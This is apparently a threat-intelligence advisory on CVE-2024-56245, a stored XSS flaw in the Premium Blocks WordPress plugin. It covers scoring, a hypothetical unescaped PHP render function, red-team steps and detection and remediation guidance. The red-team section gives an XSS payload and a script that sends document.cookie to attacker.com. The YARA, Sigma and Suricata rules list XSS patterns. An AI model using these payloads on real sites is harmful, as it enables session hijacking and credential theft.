CVE-2024-56245

Executive Summary

CVE-2024-56245 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Premium Blocks – Gutenberg Blocks for WordPress by Leap13, affecting versions up to and including 2.1.42. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress block editor. When an administrator or other user views a page containing the malicious block, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), with a low attack complexity and a requirement for user interaction. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which relies on a plugin-based supply chain. Administrators should verify the integrity of their plugin installations and ensure they are not using modified or malicious versions from third-party sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS in a widely-used WordPress plugin makes it a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability exists in the premium-blocks-for-gutenberg plugin, which provides custom Gutenberg blocks for the WordPress block editor. The plugin fails to properly sanitize user input when rendering block attributes or content within the editor. An attacker with contributor-level privileges can craft a block containing malicious JavaScript code. When the block is saved and later viewed by another user (including administrators), the injected script executes in the context of the victim's browser.

The root cause is the lack of output escaping or input validation for certain block parameters. WordPress provides functions like esc_html() and wp_kses_post() for sanitization, but the plugin likely bypasses these or uses insufficient filtering. The stored XSS payload persists in the database and is rendered on every page load where the block is used.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example):

// In block render callback
function premium_block_render($attributes) {
    $title = $attributes['title'];
    return '<h2>' . $title . '</h2>';
}

Patched Code (Example):

function premium_block_render($attributes) {
    $title = esc_html($attributes['title']);
    return '<h2>' . $title . '</h2>';
}

The patched version uses esc_html() to escape the output, preventing script injection. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 2.1.42).
• A contributor-level account or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Create a new post or page using the Gutenberg editor.
3. Insert a Premium Blocks block (e.g., a heading or button block).
4. In the block's attribute field (e.g., title or content), inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Save and publish the post.
6. When an administrator or other user views the post, the JavaScript executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor WordPress admin logs for unusual block creation or editing activity.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
• Regularly scan the database for suspicious HTML/JavaScript in post content.

Prevention:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files may vary by version)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com).
  • Unusual POST requests to wp-admin/admin-ajax.php with block data.
• Database Indicators:
  • Posts or pages containing <script> tags or onerror/onload event handlers in block content.
  • Suspicious entries in wp_posts table with post_content containing XSS payloads.
• Log Indicators:
  • Repeated 403 errors from WAF blocking XSS attempts.
  • User agent strings associated with automated exploitation tools.

Detection Engineering

YARA Rule

rule CVE_2024_56245_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Premium Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56245"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $plugin = "premium-blocks-for-gutenberg"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: CVE-2024-56245 Stored XSS in WordPress Premium Blocks
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content related to Premium Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 'premium-blocks-for-gutenberg'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56245 Stored XSS in WordPress Premium Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"premium-blocks-for-gutenberg"; http_client_body; pcre:"/(<script|<[^>]+onerror|<[^>]+onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall Premium Blocks – Gutenberg Blocks for WordPress until a patch is released.
2. Restrict user roles – Remove contributor-level access from untrusted users.
3. Apply virtual patching – Use a WAF to block XSS payloads targeting the plugin.

Long-Term Fix:

• Monitor the Leap13 plugin page for an official update (version > 2.1.42).
• Once patched, update the plugin immediately.
• Conduct a security audit of all WordPress plugins to ensure proper input sanitization.

Workaround:

• If the plugin is critical, consider using a different Gutenberg blocks plugin that is actively maintained and patched.

Valters IT – DevSecOps & Cyber Threat Intelligence